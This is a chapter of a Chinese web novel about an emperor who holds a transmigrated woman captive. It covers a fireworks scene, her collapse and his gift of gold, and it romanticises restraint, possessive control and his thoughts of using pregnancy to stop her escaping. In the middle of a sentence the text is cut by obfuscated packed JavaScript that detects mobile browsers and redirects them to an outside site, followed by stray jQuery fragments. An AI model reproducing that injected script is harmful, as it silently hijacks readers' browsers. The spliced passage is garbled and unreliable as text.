季鱼没想到燕洄说的惊喜是烟花。


    两人站在廊下,燕洄从后面紧紧搂着她,弯下腰,下巴搁在她的肩上,第一束烟花升空的刹那,他搂着季鱼腰的手一紧,偏头去看她脸上的神情。


    “喜欢吗?”


    季鱼抬头去看。


    漫天的烟火让浓稠浓黑的天空染上了不一样的颜色,大团大团的火树银花在她的瞳孔中明明灭灭,一声声爆响传进季鱼耳中,那瞬间,前世与今生的烟火在季鱼眼中仿佛重合到了一起。


    燕洄没去看空中的烟火,而是专注地注视着季鱼的瞳孔,透过她的瞳孔去看那些绽放的流火。


    他又重复了一遍:“喜欢吗?”


    季鱼透过这些烟火,好像看见了自己上辈子还在现代时候的生活和已经再也捉不到的自由。


    她突然落下泪来。


    季鱼的心突然无比怅然,如果一切都没有发生,自己没有碰上医闹,没有被人捅穿胸口,那也就不会穿越,不会碰上这些乱七八糟的事。


    她会有一个大好的前途,而不是被人囚禁在深宫,最后可能只能郁郁而终。


    不对。


    季鱼此时想起庆王让乔枝给她递过来的纸条。


    如果庆王真的可以帮到她……


    燕洄看季鱼的眼中突然溢出大滴大滴的泪水,有些手足无措。


    他在季鱼的梦中看到过漫天五光十色的烟火,这里没有如梦中那般好看的烟火,他命人日夜研究赶工,只能做到这般。


    他知道季鱼喜欢,本来是想靠这个烟火让季鱼开心一会儿。


    “怎么突然哭了?”他侧头,一点一点吻去季鱼脸上的泪。


    季鱼说不出话,她越看这个烟火,心中越怅然,对燕洄的恨意也就越重。


    于是她努力偏头躲避燕洄的亲吻,挣扎般挣脱他的怀抱,燕洄怀中一空,眼中的阴鸷一闪而过。


    他很快调整好情绪,眼疾手快牵住季鱼的手,季鱼想抽出来,但被他牢牢握住,根本动不了。


    “不喜欢?”燕洄嗓音都沉了下来,他固执地拉着季鱼,将她抵在廊下的柱子上,“为什么哭?为什么不喜欢?”


    季鱼仍然不说话,她整个人都被燕洄的气息包裹着,浓郁的龙涎香气尽数被她吸入,燕洄强势地禁锢住她,让她无法动弹。


    季鱼不再挣扎。


    她只是不停地哭,眼泪像断了线的珠子很快就布满了整张脸,泪水落到兜帽上的雪狐皮毛上,将毛打湿成一缕一缕的。


    燕洄没想到原本为她准备的惊喜会变成现在这样,他颇为烦躁地去看季鱼那张已经哭得停不下来的脸。


    “你说话啊!为什么不说话!”


    “说一句话,你只说一句话就好,你说句话好不好!”


    越说到后面,燕洄的心情也越来越糟糕。


    季鱼对他多日的沉默以对让他逐渐走向了崩溃边缘,太医对他始终是那句“要重新说话还得看娘娘自己”。


    燕洄原本希望今夜的烟火能够让季鱼稍稍打开心结。


    至少不要整日郁郁,对着他只有冷漠和排斥。


    可季鱼呢?!


    燕洄在梦里看到过季鱼在现代是怎么对待身边人的,灵动,亲和,甚至还会扯着别人的肩膀撒娇。


    这样的落差让燕洄的心被反复地揉捏。


    凭什么只有他不行。


    凭什么季鱼的所有冷脸和排斥都是对着他的。


    在他身边真的就有那么痛苦吗?


    “季鱼,”燕洄松开一直握着季鱼的手,转而用双手托住她的双颊,“无论你怎么想,朕都不可能放你离开我身边。”


    “朕那天全都听清了,你在那个世界已经死了,你回到你的世界,迎接你的只有死亡。”


    季鱼不为所动,她还在抽泣,燕洄的手穿过兜帽,用指腹慢慢去擦拭她的脸。


    “钦天监已经算好了日子,还有两个月,那天,你会成为皇后。”


    他看起来像是只是说了一个无足轻重的话。


    “皇后,”燕洄的语气带着诡异的兴奋,他喃喃道,“朕的皇后。”


    季鱼此刻已经彻底听不清他在说什么。


    她不停地在抽泣,胸口不住地起伏,这具现在已经过于孱弱的身体让她快要承受不住自己无止境的泪水,她快要呼吸不过来了。


    燕洄终于发现了季鱼的异状。


    他脸色大变,在季鱼晕倒快要摔在地下的那一瞬间接住了她。


    “季鱼?季鱼!你怎么了!”


    燕洄的声音难得带上了惊慌失措,他紧紧抱住怀中的季鱼,唇瓣在不停地颤抖。


    “来人!去叫太医!”


    -


    季鱼再次醒过来的时候,已经是白天了。


    她迷茫地眨眨眼,双眼正对上挂在床顶的那个硕大的夜明珠。


    腰上的力道实在是重,季鱼低头看过去,发现是一只手紧紧箍在她的腰上。


    她顺着那只手抬头去看,手的主人果然是在她一旁睡觉的燕洄。


    她细微的动静很快就把燕洄惊醒,稍微动了一下燕洄便瞬间睁开了眼睛。


    他下意识地去看季鱼,看见季鱼已经睁开眼睛,悬了一晚上的心总算是放了下去。


    昨夜太医过来诊脉之后,回禀燕洄宸妃娘娘是因为情绪过于激动导致的短暂性昏迷,为季鱼更改了一下药方的同时又给她扎了几针才走了。


    燕洄不放心,躺在她身边一晚上,半夜三番五次惊醒去看一旁季鱼的情况,始终不能安稳睡去。


    半夜惊醒的时候,他透过床顶夜明珠的光,去端详季鱼的脸。


    季鱼的脸已经瘦下去了太多,她总是吃不下东西,嘴唇也泛着病态的苍白,莹润的白光照在她的脸上,闭上的睫羽在眼下打下一片阴影。


    他看着季鱼的脸,在思索自己究竟是什么时候喜欢上她的。


    明明一开始只是可耻的占有欲,可到了后来,他却越来越放不开手。


    燕洄的目光顺着季鱼的身体往下移,落到她的肚子上。


    鬼使神差的,他隔着厚重的被子,用手掌轻轻覆在了她的肚子上。


    两人欢好的时候,燕洄很喜欢摸着季鱼的肚子去顶,有时候太过兴奋控制不了力道,便会在季鱼腰侧靠近肚子这里留下印记。


    红色的掌印在季鱼白嫩的腹部交错,燕洄每每看着便容易口干舌燥。


    如果这样的肚子里,怀着他的孩子呢?


    孩子能拖住季鱼想逃跑的心吗?


    这已经是燕洄第二次动这个念


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16494201|182237||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头。


    第一次的时候,他尚能将这个念头给死死压制住,可这次……


    他的目光流连忘返地在季鱼腹部徘徊,仿佛想隔着被子去亲吻舔舐。


    燕洄心想自己果然留的是肮脏的血,他与他的母亲果然是一脉相承。


    那个疯子想用他来让先帝再看她一眼,而他想用孩子去留下季鱼。


    燕洄心中天人交战,他重新躺回去,没有安全感地将季鱼整个都裹进自己怀中。


    直至感觉到身边好像有了窸窸窣窣的动静,燕洄几乎是立刻便醒了。


    再睁眼,他就看见季鱼终于醒了,她的目光落在自己身上。


    季鱼一手捂着头想起身,被燕洄拦住。


    “再躺会儿。”他说。


    季鱼于是没动了,她也没再看他,而是用近乎死寂的目光去看那颗夜明珠。


    两人安静地平躺着,鬼使神差的,燕洄突然开口:“如果你有孩子……”


    他说到这里,突然停了,紧张地去看季鱼的反应。


    季鱼几乎是立刻就明白了他是什么意思。


    她坐起身,双手捂着肚子,用惊恐的目光看着他。


    燕洄也坐起身,他看季鱼这样的反应,便不再去提这个事。


    他们还有时间,哪怕真的要孩子,也等到皇后的受封大礼之后。


    “行,”他点头,“不说这个。”


    燕洄突然将手伸到季鱼的枕头底下,季鱼吓了一跳,又往里面挪了些。


    谁知燕洄从他的枕头底下掏出一个精致小巧的锦囊来。


    他强硬拿过季鱼的手,将锦囊塞到她手上。


    颇有分量。


    看见季鱼用奇怪的目光看着他,燕洄笑了一下。


    “压岁钱,本来准备昨天看完烟花给你的,”说到这里,他停了一下,像是想到了昨天看烟花时的不美好回忆,随即很快略过这一茬,“你在这边无父无母,压岁钱便由朕来给你。”


    燕洄其实也从来没有收到过什么压岁钱,他不知道收压岁钱是什么感觉,他也一直觉得无所谓。


    但他不希望季鱼在这边过的第一个新年没有,所以他早早便准备好了这个锦囊。


    “朕以后每年都会给你包。”他郑重道。


    季鱼吃惊地看着他。


    她是真没想到燕洄居然能想到这么细。


    燕洄迎接着季鱼讶异的目光,唇角微微勾起,心情也没有昨晚那么糟糕了。


    他俯身就着季鱼的手,去拆那个锦囊,金灿灿的金豆子顿时吸引了季鱼全部的视线。


    好多钱!


    人只要不开心的时候,看见黄金,大半的心情都能变好。


    季鱼高兴地想,如果庆王真的能够帮她逃走的话,她一定要带上这个锦囊。


    她不指望能在住持帮助下回现代了,那个住持和燕洄看起来就是一伙的,燕洄没同意之前,住持肯定不会帮她。


    没有住持,她还可以找其他人嘛!


    这袋金豆子到时候就是她逃出去后的启动资金!


    燕洄看季鱼目光终于没了刚刚的戒备,心中感慨这个压岁钱也是真的送对了。


    不要急。


    燕洄告诉自己。


    一点一点来,季鱼会自己想通的。